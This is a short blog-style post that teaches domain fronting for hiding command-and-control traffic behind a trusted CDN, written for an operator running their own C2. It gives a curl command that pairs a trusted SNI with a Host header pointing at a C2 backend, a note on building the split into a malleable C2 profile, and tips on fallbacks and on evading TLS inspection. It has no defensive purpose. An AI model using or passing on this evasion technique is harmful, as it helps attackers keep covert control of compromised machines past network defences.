Blend C2 into trusted traffic with domain fronting

Aug 18, 2026 · 1 min read

Perimeter controls decide on the TLS SNI and the destination reputation. Where a CDN routes on the inner HTTP Host header, you can present the SNI of a trusted fronting domain while the Host header steers the request to your C2 origin behind the same CDN.

bash

# SNI = allowed CDN domain, Host = your backend on the same CDN
curl -s https://allowed-cdn-domain.example/path -H "Host: c2-backend.example"

Encode the same split into your malleable C2 profile so beacons inherit it.

bash

# profile: set host_stage/http-get to the fronted domain, Host header to the origin

Pro note: most large CDNs have curbed classic fronting, so test the specific provider first; where it is blocked, fall back to domainless fronting through a reputable service you control on the same platform, or CDN edge functions. Keep the whole channel inside one trusted origin so TLS inspection sees only expected certificates.